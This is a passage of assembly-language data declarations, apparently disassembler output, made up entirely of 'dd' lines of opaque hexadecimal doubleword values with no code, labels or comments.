0CACAD4AEh, 20BAC7DEh, 1202625Dh dd 30306739h, 67FCFBE7h, 82A7203Fh, 347565EFh, 68A10BDDh dd 8640556Ch, 96669600h, 94A27495h, 0B1572020h, 95E21032h dd 0E3B68282h, 811CCCF4h, 75BA922Ch, 0EAA6C82Eh, 87D646BCh dd 9EA5DA09h, 99D11E9h, 9B71A474h, 0D34F0DACh, 0FB296CCCh dd 8A55ECFEh, 72FCA54Eh, 0ACCEA015h, 3C5F144Bh, 0B4431C30h dd 0DC074F30h, 8215A1C8h, 27068CF9h, 8F2A9C5Ch, 868FE702h dd 1D6607DDh, 6B2A7F37h, 168952A9h, 82B941ECh, 2C6E3D39h dd 0B7CCD4B3h, 4F243047h, 42834A28h, 9B16935Eh, 20B3E7D6h dd 0A4BFB7CFh, 9C3E2CB2h, 9596730Ah, 8B9123A2h, 34CAB495h dd 0EBCB2553h, 7B3AEAF4h, 0B080641Eh, 0A2C0A41Ah, 0AF6C2CA3h dd 8CF96433h, 0DC90EFB2h, 6022A06Dh, 8E0FF39Ch, 0EDCF42B2h dd 40416D30h, 0A76728F0h, 8983EF25h, 1276B93Bh, 0B4E8DB4h dd 0D8A2D7F3h, 3725D6DDh, 5F7DB059h, 0E14471FCh, 0D603F996h dd 22439A16h, 781024D7h, 68512B36h, 0C7657A40h, 1BBE8E6Ah dd 581D528Eh, 1E560A72h, 7FDC6393h, 0E8D8C2CBh, 20E38455h dd 0E386FED8h, 3A40E3E7h, 0C7BD88CDh, 0DA62D471h, 8D5AE4C9h dd 0DCC1107Bh, 3394B80Fh, 0B5C31A8Fh, 705EFCC8h, 19523199h dd 602C1AF7h, 0B099D7AAh, 9FA505FAh, 55925F62h, 0C115B220h dd 8D18BD5h, 77392126h, 0F10A4CF7h, 2F76277Eh, 0BBC0E5DDh dd 3139CDCCh, 0CE0B4137h, 353A8E79h, 944A3130h, 0D9555AD0h dd 0FDDE39B8h, 0AFB9EEF7h, 3647AB76h, 3A97BEF2h, 9D557C8Bh dd 173AEB88h, 0BA399C33h, 87CE1990h, 8C14E239h, 0B7302D91h dd 52995EF0h, 144786CDh, 0D9F3BC5Ch, 0B282EE07h, 0F6743198h dd 229E5677h, 3E547F02h, 5D808E08h, 5C4FD666h, 0D0DCA6F0h dd 4E8864E5h, 0CF4D908Fh, 45937881h, 69CD71C2h, 154EAF46h dd 9B1B4C59h, 4E928CB7h, 5345C4FDh, 8CAC2598h, 857F5983h dd 271A28BAh, 295B304h, 0DC3EED23h, 840DAEBCh, 0A98DDCCAh dd 0BB5E878Fh, 1909CF9Fh, 431E30A2h, 5645B581h, 2DA780BBh dd 93E1D889h, 6358DF9Ah, 0A38C0710h, 0E41DE5EFh, 0D7BB0872h dd 38E55838h, 0DD34D650h, 8DC7BF10h, 18B08A52h, 0A0E25194h dd 8808952Ah, 0BDB85C18h, 0B5B0B4B3h, 0ACA476B7h, 87BEEDB4h dd 5311DD6Fh, 791A6FFh, 6495514Fh, 0B8D36C35h, 11C40B7Bh dd 792A739Bh, 0A07C8B19h, 229F609Eh, 59FFB18Fh, 5FF84325h dd 2BB8BAAAh, 59AF76D9h dd 9FEF3EB4h, 3B43C759h, 0EA1203F0h, 320C7E4Ah, 0C5BC5EE2h dd 5C920514h, 0F67E22A4h, 0ED3DD01Fh, 0CD2A405Ch, 82A21CA8h dd 10D3761Bh, 19A0C07Eh, 30B27F26h, 0D97E7A08h, 0F3B5F3BBh dd 17FE7CEFh, 6BC52F8h, 98440CADh, 960BEB9Dh, 0FF5BCEECh dd 0D078A6D4h, 540D36A6h, 0E329CD15h, 0BB37B1AEh, 15B85F35h dd 0AD44CA72h, 0CD4AF06Eh, 2B504806h, 2D822BC5h, 8569BD71h dd 0D9F2900Eh, 0CFEBDC6Bh, 9829D0F5h, 0EF9B9C7Ah, 8E9F364Ah dd 8BD2165h, 1483A2B9h, 1D4770D3h, 0FEA960BCh, 5EBD29DEh dd 0AECDA710h, 59E0EA8Dh, 0CBACAB3Ah, 402B4840h, 5B5969DEh dd 3DBECC2Ah, 9D417D65h, 0BAEBC2AFh, 426FF101h, 86DD320Dh dd 66699544h, 0EEF1D6D6h, 34B51396h, 6F3C66A9h, 5A624DBBh dd 670EA593h, 0D176849Ch, 1B18C2AEh, 7753E8E8h, 811C5A78h dd 54FBC6B1h, 98C04F4h, 0B4DFC2EBh, 0C8A0AD3Fh, 0F07091C7h dd 72AD91F0h, 0C230EFA0h, 26991AF6h, 4D1987D1h, 58DF2839h dd 2CE5E7F6h, 9BC1386Ch, 56744DDCh, 0D42E7CA0h, 29708BD2h dd 3D6B6E40h, 4BD41714h, 53D90D55h, 37B1240h, 0E88F5397h dd 632A034Ch, 0B2A9E727h, 7DCF8302h, 4BDE566Dh, 55548528h dd 0C65B77D6h, 40314A20h, 0C875354Ah, 0FD8248FCh, 5190536h dd 0B808B4F3h, 0E95A1F04h, 0F3F2D47Fh, 0D186436Eh, 0C9CD02F7h dd 0A1880ABAh, 0AD51D29Dh, 0BCB10D99h, 27FA439Fh, 2FFF7145h dd 0C18C0E7Ch, 50E10B19h, 54D9B11Dh, 8BE3E448h, 65E6E100h dd 9A5CB6B7h, 2FC069Ah, 0C2022E96h, 46A7C09Dh, 46583CFh dd 19DCD9B6h, 9B5F1279h, 3EDB2057h, 252DE7ECh, 70E8F690h dd 2B78D5C5h, 5AFD80DBh, 7EF4BD85h, 90EF25F7h, 0C3E303A4h dd 3FFAB0F5h, 0BE531FFEh, 0B7FB4570h, 0AF94B9EAh, 1E7DE878h dd 118C9727h, 4BA2A720h, 3E1BD30Fh, 41482E5Ah, 5FBF1849h dd 0D730007Bh, 2FC7A9D2h, 42B5DDCBh, 1ED43C37h, 0CD94EF0Ah dd 83F31032h, 6FD759CDh, 2E5C54EDh, 2266A45Dh, 0A10D468Ah dd 0D73C5BF0h, 1A2F9F3Ch, 0A4E90F27h, 58B49FC5h, 636A07BCh dd 0F0DA40E4h, 0BFB74E22h, 4155E42h, 0FFB1CFEEh, 246F868Eh dd 0D585CFBBh, 82DA5342h, 0E4F0D259h, 0C8C9606Eh, 0B27D9414h dd 6D8B394Ch, 0BE4EDEF6h, 0DF69D5B0h, 0DC28D7A9h, 0A07CB837h dd 0A80F9DE1h, 0CCFD629Eh, 0A817580Bh, 1D92A974h, 6FC3785h dd 9D550109h, 2A49BC7Bh, 0EC58059Ch, 0F22878h, 72A42444h dd 632C9EFBh, 0C5840A09h, 3FBDFB5h, 776783E3h, 729CB31Eh dd 0E4941A8h, 0FCB16A4Bh, 69D55351h, 19E0EB40h, 4F56744h dd 8C011AABh, 0BAA27BB1h, 9AA7E757h, 3B1A7349h, 468514A4h dd 0BDDDE171h, 19D58346h, 151FF393h, 3826DF79h, 0CE810952h dd 0E6FFC1EDh, 0E8C1627h, 0AD66FE8Ah, 0C740891Ah, 186AAF25h dd 0A6DD27D2h, 8F7A06BDh, 1DF6EDB0h, 0B57010CBh, 0E7DCDFB3h dd 0A5498885h, 0AED61CC9h, 64BC8548h, 9EC09EBDh, 0FF92AABCh dd 5BF95773h, 0B28C05FDh, 53EF3631h, 4E5272B2h, 66755331h dd 0CB50E0Fh, 82103469h, 5D10CE3Bh, 0F8557914h, 10D704C5h dd 0CDA0F866h, 0F96198D4h, 0B3DC0CD9h, 408DBCB4h, 0C50CE8B2h dd 70FF94BAh, 0D400F8EBh, 13970DCBh, 0CF7EA0CCh, 0A332AF8h dd 72C16E0Fh, 8C848B32h, 0F06C81D5h, 0A3FDD424h, 2254D88Bh dd 575EEE73h, 5800A5A0h, 41C15A6Bh, 18F1E42Bh, 0B4AD9A2Ch dd 0DA8DA02Fh, 0B2D43474h, 0CF79FDC2h, 0D321736Ah, 130AC84Dh dd 1940C67Fh, 86898A8Bh, 0B62E46C4h, 9DB18F9Fh, 0CFA06300h dd 77E6FC9Ah, 0BA031372h, 10D878C6h, 0DA8DB45Dh, 0E24BB3F8h dd 154D3238h, 51C22633h, 0EE550AAEh, 4748D861h, 28FAC013h dd 31101401h, 0B1D3BD7Eh, 105BA159h, 0C5D75318h, 0CBBE0019h dd 9F7DD29Fh, 0EB0F6672h, 1F804F54h, 0AEBAF512h, 0F367E993h dd 0A41E1885h, 939D2DEBh, 1E46E3F5h, 0EAAB3788h, 9C96DA7Dh dd 0C94E843h, 0F797D01Dh, 0DF17AC4Ah, 847C9F88h, 4A4375F3h dd 0E1EAE805h, 0E5722A6h, 0C32AF436h, 5300FC52h, 0B9FE1C30h dd 5F9F263Eh, 0D7F28138h, 8015E5C5h, 0A0878986h, 19EC0E9Dh dd 2AC33D24h, 632FB22Ch, 287FF102h, 7DA72050h, 0DE594BE6h dd 0F2F51402h, 0E34A82EBh, 3A6CD15Ch, 5FA4E94Eh, 2FEFA509h dd 95BFC3DFh, 0CA462AC0h, 45A954F7h, 144B9649h, 0FCAFD7AFh dd 0D9E6510Bh, 65307BFh, 8B4F45ABh, 0FE0EE90Dh, 0E59FB732h dd 0E52DCEC9h, 9557B7D0h, 19E895CBh, 627F5CDFh, 0B80A86D8h dd 73DD22AFh, 0A109B7B1h, 88D227D0h, 31B1A8B3h, 7EB1243Bh dd 16E85284h, 7153B6B6h, 80CE1DB1h, 8BAE2DADh, 9009C13Ch dd 58BF7BDFh, 0E2D63448h, 122DD963h, 968009CEh, 0FD1DC492h dd 8F35223Ch, 87237932h, 80BF2A0Ch, 0D1EDA93Dh, 0E15AB936h dd 2DA37AC2h, 87761675h, 2947BBE7h, 6118C7FFh, 0E422544Bh dd 9C932228h, 414C55B8h, 94CA63A6h, 35202786h, 5FD1D8B9h dd 0B7C31935h, 0E888AA70h, 9F22C677h, 373E3B7Ah, 657C9BB7h dd 8662F1F0h, 0D69062A9h, 0EA844F1Eh, 0F459239Fh, 3E59133Eh dd 39924E6Bh, 0F08D278Ch, 50C3731Ch, 6DE2A7A2h, 5BF2879Bh dd 1B58DD11h, 2651677Ah, 722E6187h, 6D9E642Bh, 8C21173h dd 1505F41h, 792537B4h, 0D039C7CFh, 0DB83DDE2h, 0B55CA062h dd 110A36BBh, 7121CE2Eh, 6787F57Dh, 3C09CA3Fh, 10FC062Dh dd 0DFF3D124h, 0A1B333B3h, 0E0987A74h, 0F2EDA7FEh, 465592C9h dd 0C65846D1h, 30623CE4h, 0C70D96E7h, 7A990248h, 9928C081h dd 0F7D9AFA6h, 4100DD3Dh, 0D63B6CDCh, 10898044h, 662442E5h dd 476BBECBh, 0A521D6B0h, 4C996852h, 2B9717B8h, 4AF1A2D8h dd 0D3F16188h, 0C1198BE1h, 0F83F433Dh, 0D432B136h, 17ACF131h dd 0A06F375Fh, 6626281Eh, 1829736Fh, 23D63811h, 1183F14Ah dd 10B49ECDh, 8181332Eh, 0F374F5A0h, 0EEB0336h, 0ED956CA8h dd 0C55C083Ah, 401E2CB1h, 18E91300h, 2D519214h, 3B99866Eh dd 91CD0082h, 0DD0B7935h, 0F60C51EEh, 193CFFBBh, 0E62ECD92h dd 0FFFA4A0Bh, 201A667Ch, 57AEBB6h, 46DCCCE9h, 0FF96573Ch dd 0D1377B45h, 0EED768Dh, 0BDBE5318h, 514A179Eh, 527594FBh dd 66E4F617h, 2BF4BD04h, 6A5D5FF3h, 3A7E28F4h, 2DB93342h dd 0BFC01537h, 25EE1247h, 0BB1FAF6h, 0B7AF75EBh, 9219E767h dd 0E41E579Bh, 0D0096377h, 91A75B32h, 2F600DB6h, 14671CF1h dd 20B5D3DDh, 0E0AD47ACh, 959A0C4Dh, 9397A085h, 0EA2BBA4Ah dd 0C4E9AE1Ch, 32CE4B6Bh, 2F7F0DBEh, 91DC5273h, 34B35B78h dd 0AFA15497h, 297210Eh, 3F9CA249h, 0C34939D7h, 8DAABA0h dd 420D4515h, 1B4F86D9h, 0AE37E07h, 41628231h, 3ABBCB8Fh dd 2DF7680Ah, 759AD27Dh, 0C8E2D8FAh, 4C88AA80h, 0D4A64A8Ch dd 87EC5B65h, 0AD697660h, 7D4AE0D1h, 72C22C33h, 1364B0EEh dd 9BAF6A7Ah, 668F07E6h, 7AB434E8h, 770383EBh, 0C632662Ch dd 28439392h, 700B92CEh, 2B5EA2D9h, 0ACB25BA0h, 0A33CB359h dd 0DCE7DA10h, 110241C2h, 27036CA0h, 0A7A590F1h, 7C49C301h dd 0D3D6A927h, 0E3F2FFE7h, 0FAFE545Ah, 85348F7Dh, 5BCAD763h dd 23441852h, 91BD3A56h, 0D1E03468h, 7EAEB65Bh, 864E7052h dd 67C4012h, 4A280533h, 0E23A1E7Ah, 0FCE12186h, 0E06F3760h dd 0E3C030E1h, 9E2F5AECh, 19C4D40h, 4507215Ah, 1CF45358h dd 87225FD0h, 1143F810h, 161F84A5h, 85AF84A1h, 0ABC48742h dd 8E880D04h, 0C7788F18h dd 4A7C92A9h, 0B1822806h, 9701ADE2h, 8D40084Ah, 0F494990Ah dd 0E29850AAh, 4C4399ECh, 1BC7E599h, 7F676028h, 0AFD32DDCh dd 0E1C07009h, 1FEAF937h, 709795E1h, 9899FCF4h, 0C2B9A952h dd 4FDDE02Bh, 9DD0A414h, 39F8B966h, 0B9E17578h, 19D44AAh dd 0CA8E7C6Ch, 276F66A7h, 0A46C70C3h, 8701312Dh, 98FC9F66h dd 0BDD7F719h, 5C8EADE1h, 963325B6h, 0CD736B2Fh, 6C10A7A0h dd 0DA601CF5h, 72E03037h, 6AD2735h, 0FE9A6A82h, 4EEAABD0h dd 0BB33CA2Ah, 3A2A39FBh, 5A1D8BA8h, 0ED97100Ah, 0BF132226h dd 0F657BD3Eh, 40610B9Ch, 19AE7F72h, 0A523151Dh, 0A423CFFDh dd 24EDD1C1h, 558FCC24h, 0E4204BDh, 74478E5Bh, 73F373DAh dd 0D084C1F7h, 986E1F30h, 513E761h, 8C5639E6h, 2E7F523Ch dd 0A50B34E9h, 495DFDC2h, 7BC711B1h, 0FF05EA4Ch, 0F22402FBh dd 0AF6E397Eh, 1FE7FC01h, 0E32DAE67h, 0EAFE73D7h, 165B1D34h dd 0E01058A0h, 41085A10h, 688182A1h, 0CFE53EB6h, 986DA7D2h dd 9617B942h, 0E2321362h, 45B9F9B5h, 11215ADDh, 50A66AEh dd 202B9E96h, 8C824C9Ch, 3C06A2D2h, 0E7E3339Fh, 7C0B8E06h dd 95894AF8h, 95C8C1FFh, 33628AD5h, 1EB4D5F0h, 1783EA59h dd 90445643h, 3B5230FCh, 29C019B2h, 4C698A6Eh, 2715620h dd 0FEBE098h, 0EFA29A09h, 0AD0FBD31h, 7E927022h, 0A4C236A8h dd 4A8158F9h, 6E96656Eh, 0D0A9A6D3h, 0AEB25120h, 990DCAD4h dd 0F97B345Ch, 6E5C60Dh, 0D0420707h, 0A3947AF7h, 4B759A88h dd 7CF46086h, 0C233B210h, 65C8060Eh, 97080628h, 0D3D5DD70h dd 512900CBh, 59EC41AEh, 5E98A8D0h, 13372104h, 0CC0F0DDDh dd 6316A041h, 12B474BCh, 4F228EC1h, 865AFCC2h, 0E8B98257h dd 785CBBD9h, 0DC07676Dh, 0D2F393B0h, 5619444Dh, 31D3E11Ch dd 0EB8B2DFCh, 74E3B97Bh, 28E342ACh, 27C9913Eh, 0DDEF137Ch dd 0F563DC96h, 0DD6F0631h, 0ED8132C6h, 0FE94D4D7h, 8BCDE086h dd 582F6341h, 7AFF4144h, 0C53B704Eh, 52E813C7h, 4E3F5267h dd 0C90331B9h, 0DD3CC175h, 812C816Eh, 9E16DCA8h, 45345169h dd 0DBBE3AA3h, 2A0C0983h, 0FC72DD64h, 8F6D60D5h, 2DBA63B9h dd 0B62B0546h, 7BCF6ADCh, 0D9DC3CE7h, 0C2E3B6E2h, 7C90FCC7h dd 0AAAE697Ah, 5795114Fh, 653E0806h, 1B607D9Ch, 1CAF09FCh dd 783256DDh, 1BA08D41h, 0AE794527h, 4FB37D9Bh, 0BB7DB67Dh dd 7DAA946Fh, 0F3DBE7D8h, 0AC340A38h, 1F8FA2AAh, 8CDEC278h dd 9ADB8B7h, 5929CB0Bh, 0B7D34C51h, 3D2E2734h, 9B1DFFE9h dd 610D43F5h, 0B9E648D4h, 0B519622Dh, 9E4739F1h, 76D48A67h dd 876AD42Bh, 0EDCD5A5Ch, 2187E3D6h, 5FC949Dh, 0A96433EDh dd 0DBD0DEA9h, 0F1A721E1h, 9DB8102Bh, 0AD06CBE7h, 61D693F7h dd 0E3D06BEh, 10998542h, 1E27FEBFh, 93234B6Ah, 5EAB3EB2h dd 11B42BBBh, 0AA7C1D6Dh, 742AC3E7h, 0DCCE1BC0h, 426DF990h dd 1EDD24F2h, 0EF497790h, 0D0B8818Ch, 3341AC2h, 2579C88h dd 1006A689h, 0E7F6C288h, 2BE8F639h, 0E093C743h, 2CCE832Dh dd 72B3EEE6h, 0ABE1429Dh, 1ADAF74Bh, 2DAFDBF0h, 0DCFE9052h dd 0E5032DBDh, 0A19D34FDh, 0D57AD2Dh, 0F2D652FFh, 312824EDh dd 0B181F71h, 533CBD3Ah, 5E5D15B7h, 0B4ACEB4Ch, 72D3153Ch dd 7CFA9692h, 8A39C33h, 0CB9275F2h, 0F7F99EDDh, 0BBF9E496h dd 0AB8FAF22h, 40B886CFh, 1E6DDAAFh, 7CFA182Fh, 8800AE82h dd 8A00C79Bh, 166C9887h, 0DF0F7F49h, 0F8E9692Fh, 0DA62465Dh dd 99E9E4CAh, 4AC4FA5Ch, 0BC6B5418h, 55AAE2F8h, 0E939A464h dd 83A7643Eh, 73BFEDC5h, 920F03E1h, 83A3C4F0h, 3A7503ABh dd 4452F7BBh, 0C91EE50h, 0C1D32413h, 5C72E2Dh, 88FA197Ch dd 0EAFDC54Ch, 0B10B55C6h, 0D095B89Ch, 477B272Dh, 0B2780DF0h dd 61FCA2C5h, 0E84A5860h, 96D20B82h, 11DA5658h, 6B2417E4h dd 27365E77h, 0A809FEC6h, 0E164896Dh, 3D09560Ah, 0B213D889h dd 0FEAA0287h, 28E1615Ah, 0A758AB3Ah, 655339D7h, 56574E4Fh dd 0D338E75Fh, 0ED6A29E3h, 32E78F83h, 6DA84382h, 8CA9A6E9h dd 0DAEE31B4h, 0A2C99CCBh, 6699D765h, 52D66326h, 741E14E9h dd 93F49AF5h, 0EA18E312h, 1E2ADA7Ah, 0AF449697h, 0CF81B19Eh dd 0AA69ACC5h, 9A1D094Bh, 72AAF9A2h, 0F2838DC7h, 6A8978E2h dd 7BE2763Ch, 9E3FC7A3h, 3CAB6988h, 9A93C0DEh, 0F3CE4F3Fh dd 64404C65h, 0B4134B45h, 9661E515h, 9FF04BF5h, 8A0B2C4h dd 301B9CC2h, 6EC1E9DDh, 0C7361E1h, 4FCB6200h, 95BFD47Eh dd 0FD34F033h, 0B615C7D4h, 683FA33Bh, 0EE1410F7h, 89AB1919h dd 0AAE0C646h, 9A807805h, 0D24B61FCh, 0A7173E97h, 72E038D2h dd 222EC043h, 5ADF1A6Fh, 348791BEh, 6F04D685h, 6631D441h dd 0FFDFD483h, 0F4D64991h, 47A9F998h, 1DF21AB9h, 329CA741h dd 130D152Ch, 0C788AFDAh, 0E8307A2Dh, 0D32DD577h, 0D7ED9F81h dd 5874A0B5h, 60EEF631h, 60AEC49h, 913C17h, 92A4BF06h dd 0C32E7E18h, 0F3DF85C9h, 0D9BC4555h, 0B9D17D63h, 0DD6690CEh dd 0A74EDB58h, 0B576A511h, 75AC8C20h, 0EE70A7CAh, 4F2DB39Eh dd 85745A32h, 8B02B13Fh, 2E14EEF7h, 524D00A4h, 0E58FD41h dd 519EB3D4h, 45F78B57h, 451BECE5h, 0A1706526h, 2C4E8357h dd 46EF1B99h, 6C2657F2h, 8447CEA1h, 9EA227F9h, 4833CB4Fh dd 294B76A7h, 0F9D5D71Fh, 72AC54D8h, 6BBB2D95h, 0F0D8498Ah dd 492448F0h, 0A18F4064h, 0C732D58Fh, 0BE477147h, 840B66DDh dd 3ED6D39h, 4757A2F2h, 8251E60Dh, 6B523379h, 56964D96h dd 91B9A6F9h, 74806AACh, 2C125EC1h, 0E362611Ch, 54F115CCh dd 0BFE02074h, 5FC5D3B5h, 79589A8Eh, 0E9202F46h, 0ECB7503Bh dd 7534DEC7h, 0A6DC55D3h, 7FB1A88h, 393A32EBh, 64B63BEEh dd 8EEDDF3Ah, 0E5680A9Eh, 5D7B4154h, 1629BDBBh, 3683A42Fh dd 94D5E0B8h, 66A9E729h, 10954790h, 3438782Eh, 917496Ah dd 164024B4h, 92C3C364h, 96707136h, 2C82A57Ch, 0A6CFA705h dd 0CA764238h, 41A723E0h, 3DC0CBC5h, 2A091D68h, 67F96003h dd 0F04BACCh, 73C5141h, 0F434AB53h, 3359277Fh, 42D38EBBh dd 81FFF8E2h, 1147BBAh, 630F8DA3h, 0EEA063EDh, 75A6B9B3h dd 0D2627B70h, 0E0FD5214h, 0BE7AFF54h, 31ABEA79h, 8FA28059h dd 82AA4461h, 1F0D7161h, 0DAC7F974h, 0CC6E73E9h, 52F52D27h dd 464F383Eh, 16EF79CDh, 6C6A707h, 0EF0B9294h, 11472E9Fh dd 887B6B8Fh, 0B5BE68DEh, 5059601Bh, 0D24160AEh, 0B0CAE194h dd 38F1D56Bh, 0D270D451h, 7278970Dh, 4FB9309Eh, 0E99A462Eh dd 7562600Bh, 0D032C34Bh, 0A1470603h, 3EDE37C7h, 6A8A1D30h dd 35ECDA3h, 0DE553A43h, 0E5647289h, 3B0AFB73h, 0C44A328h dd 0B34DA704h, 98702E53h, 88670DC8h, 0E4F50D09h, 2890DE9h dd 0FEF835F2h, 0F115E708h, 96CEF462h, 0F301C3Fh, 0A6AADF16h dd 0AA5429BEh, 0FE34B140h, 8DCCEE53h, 97EB9E35h, 1CE921E1h dd 0B4A671BAh, 0C632D3D2h, 0E9F5CDD2h, 180A6FC8h, 0F645EA87h dd 6A761852h, 5E255D8Ch, 4F72A011h, 0EC59C6E2h, 0C2D12D94h dd 8D110FC0h, 34A45E98h, 5AE4CEE3h, 0D700C88Ah, 0A540A6D9h dd 0C54C1B9Ah, 209153F6h, 0AF0692F2h, 0D9334D1Fh, 8608967Ch dd 5610338Eh, 0BB5FFB21h, 176FE19Bh, 0DF6500CFh, 20CE5527h dd 81525EEEh, 97971715h, 0E91D9400h, 432D4666h, 0CC79FECFh dd 0CAAA370Dh, 68B6A81Ch, 44B74E17h, 2312D445h, 2673778Bh dd 0F6A30AB8h, 0D1E50DA3h dd 0D130D760h, 50EFB228h, 0E16F6643h, 54CAD367h, 867C8AC2h dd 0FFDD84Bh, 90C82E9Fh, 20B6FC09h, 3DE515DAh, 0EABAA36Fh dd 1FF2C9BCh, 1C213FECh, 286BF7DBh, 0D7084349h, 93A63AF2h dd 0DC628F1h, 7E3E81E5h, 0E8B97FF1h, 46BFCDDDh, 3C0B9BE1h dd 0C8759525h, 6522D23Ah, 0CE7EF49Bh, 0C009A1D2h, 0BA9AE25h dd 0B76FD700h, 0C55D38E7h, 0D316E1B0h, 0FBEE37CFh, 0B30C04A2h dd 1918BC60h, 3E0551DDh, 0D0A9D86Fh, 0F2965BE2h, 45116E33h dd 377B5DF1h, 7ED9BDC0h, 0DD6FA062h, 9FFB208Ch, 4FD06728h dd 0C231CBBFh, 42A3BD6Dh, 0CF13F5DAh, 63CA0339h, 0A4E4AD9Dh dd 0B1129661h, 636FAAE9h, 9A44B473h, 15BE7536h, 34EEF8C2h dd 0C04B90Ah, 0D3002DFh, 4987EF0Bh, 6431C4E8h, 4E894F6Bh dd 6D684998h, 70112A07h, 0B64246DDh, 0FF5EA602h, 69E11D59h dd 33D0A526h, 20D16DA9h, 371AC7ACh, 89DE8D92h, 658E3CC6h dd 8F0CEF46h, 3AB40FDCh, 5D40D755h, 54D8B848h, 50DF37A2h dd 45E70A45h, 0ABF85EB3h, 0F8B738Dh, 0E08EDBAFh, 0E3C75A64h dd 0C32B4066h, 0FBCCED6Fh, 399E9E6Dh, 17C3DB4Ch, 1318B5BCh dd 5766555h, 2A7F5003h, 6AF484A1h, 12770B12h, 4713967Dh dd 0AA60E457h, 0B05C71B2h, 0E650E64Ch, 34BA1A89h, 0AFE3875Bh dd 0DE870084h, 39BD984Dh, 33F7EC28h, 4F7ACA57h, 3C8D739Ch dd 1456D964h, 3C124509h, 9B5AD7FFh, 1197D0DBh, 0D79FF620h dd 291827F2h, 0FE5B37AAh, 465D4FC9h, 88C272AFh, 0C2F41A89h dd 0BD02C59Eh, 0F5C8836Fh, 0D56CA7E8h, 0EB935CAFh, 0F07246BEh dd 5A0E90E2h, 9B7CF399h, 0DAB1A6CAh, 8C7386C5h, 53B98D4Eh dd 56D4B05Eh, 891A25A4h, 6BB7352Fh, 36D685D5h, 51EEB53Dh dd 0BD15D0A7h, 0E964F88Fh, 851FE4B7h, 951F7FA9h, 0FE339E3Ch dd 4E1DD014h, 6B76B581h, 0BB4BFE7Bh, 0AF5020FDh, 14517C91h dd 1E3526BEh, 4B46C7BDh, 1AAE810Eh, 2B1FC82Ch, 0B9B0B83Eh dd 0DD9F0905h, 0DCF92DA9h, 1FBBA8E5h, 0A1621847h, 65CDF31Fh dd 0B25734EAh, 207FF498h, 9F70408h, 0E0225FDEh, 6FA63556h dd 0E4257599h, 505A3398h, 0A3CA4412h, 0F9A17957h, 367FB860h dd 0D95B1312h, 5E5EF23Bh, 0CF208721h, 0E3D58B1Dh, 9EFA2F7Eh dd 13384531h, 21163678h, 3C24B670h, 85F0E0CDh, 2AE1120Fh dd 0B52B300Bh, 0E8A16572h, 2E6D44F2h, 577471C6h, 0E9CF6A81h dd 0A9CD114Ah, 0A2A1EB7Ch, 96E82828h, 0FB7D87BCh, 951D8A90h dd 0E5D674B9h, 0EB748D29h, 7E85469Bh, 11A69109h, 0BFA6D7B3h dd 9FD0783Ah, 212729A5h, 0A5AE0CAEh, 11BBBBBCh, 635C3E0h dd 3CCDD9C1h, 0BB4B59B3h, 0FF900ACh, 0E69AFFA4h, 33B96ACh dd 0D4110AF2h, 938A95DAh, 0B35FD937h, 717CCCA3h, 223382F8h dd 0B0A976BBh, 473C745h, 0CC73CBB7h, 75136534h, 81A5C864h dd 74BA408Ch, 0BF46CA39h, 31BB410Eh, 0F6DA8C91h, 4DAC0E1Ah dd 49B00D4h, 0C089902Dh, 959B5117h, 0C7411D80h, 0F2DBEDBDh dd 0A10032EAh, 0C1928BD2h, 57138E70h, 99CB893Ah, 0E06AD178h dd 0F9202D1Ch, 91F6363Dh, 0F99F098Ch, 8CF32A17h, 47986DCBh dd 0B01FC34h, 0B37259DCh, 3C354948h, 0EAD44095h, 0B4441FB4h dd 7AC220A2h, 602C0B49h, 508424F6h, 1814C253h, 900D8A79h dd 0C567B5F3h, 56DD95BFh, 0DE635F59h, 5049B2B9h, 60E0400Dh dd 0EF97FDA0h, 43FD248Bh, 958B901Ch, 0AEC59835h, 831C3C9Dh dd 0A7F5E8C4h, 20989453h, 0C84D220Ah, 6A8D81BBh, 630F77B1h dd 2016F5CBh, 0B143AB7Ah, 55EE567Fh, 4DC6E924h, 0A7C5BB79h dd 43C8E720h, 9DA6A986h, 277EBFE5h, 0A7AA9493h, 0F96903D9h dd 0D1CD3CB4h, 0A35D7025h, 459F102Eh, 0F9BE6F68h, 974912F4h dd 0BD6D89CDh, 361CDBBFh, 0FC289D90h, 0CDB158Ch, 0C632D4E9h dd 9C33A626h, 87F3FE04h, 0A544038Bh, 0F545DF38h, 0D53DFABBh dd 8C4122C6h, 5EA81125h, 0C12BCCC4h, 0CD690843h, 0C1AD746Fh dd 0E7D7AE98h, 2E298059h, 7EF6AA84h, 83D004C4h, 0D423BE54h dd 62CDBA8Fh, 1E6455DFh, 0AA819F0Dh, 0C4B3037Fh, 37EAA364h dd 59A25D72h, 7BB8EDB8h, 797955A5h, 4E04D298h, 0BF76D6C0h dd 96FC95EEh, 6386A0CCh, 0D68BD7ADh, 922317Dh, 41CD72C1h dd 931BF320h, 20BCA011h, 0A45B85E8h, 0D0F560C3h, 3C106E67h dd 67B476B6h, 1B250CABh, 0DC2CCF14h, 0D8241ABAh, 5D6BD55Fh dd 0A1D847A4h, 0E326BBA2h, 47E5CFB3h, 706DF0B6h, 1657604Bh dd 2C4B22A4h, 55F62BC9h, 0F7A0B573h, 1A6CCA7h, 0F16F4E4Bh dd 3A0B8B08h, 0DEB081E5h, 23023D72h, 0F25A50F3h, 625C0FFh dd 3E7C8599h, 0AD47D48Bh, 0FEE90464h, 8F37BD88h, 69148CB8h dd 0F71772Fh, 2BA72622h, 573BC163h, 6BFDB5Bh, 3A3F928Ah dd 2EF062D2h, 0E1BEF584h, 6E89C83Eh, 941D7C42h, 0B014CF62h dd 0D6B01995h, 0DE793394h, 0CEFFF5B0h, 0C11FC104h, 0D37B5359h dd 2BA9DB07h, 82FE0358h, 70829794h, 2F2F5193h, 0D574F261h dd 2FDB0836h, 0F1775F0Ch, 49D553B8h, 955DD5D8h, 18F6C42h dd 0DCF60805h, 0FE81AEC9h, 3566B1EEh, 4BB57552h, 7CA12A2Fh dd 1A22B7AFh, 99DCF1EBh, 56E3CCCBh, 0AC296963h, 917E4D5Bh dd 0BD9F7C84h, 0D73F6110h, 3D798F51h, 0F64FD1D7h, 42FA256Ah dd 730F6BC6h, 524C011Eh, 0C320C6D4h, 15ECCE3Ah, 0BD168F83h dd 0A4C15B81h, 3F2618E1h, 98250D85h, 0C798A239h, 3EF0A11Fh dd 0DEE6BAE5h, 0E64AFDB3h, 39829CDFh, 96BDAECh, 8FD2BE47h dd 46AFD128h, 2A9C7B9Ah, 497F7B62h, 160EF7A6h, 0B5458921h dd 0DCA2E5AAh, 8A686157h, 5EECB6F7h, 4155C637h, 73D3E3ABh dd 796EF4D8h, 5DA67DE1h, 7B805A1Eh, 478278D0h, 2F04CA0h dd 0BF85734Fh, 997302F4h, 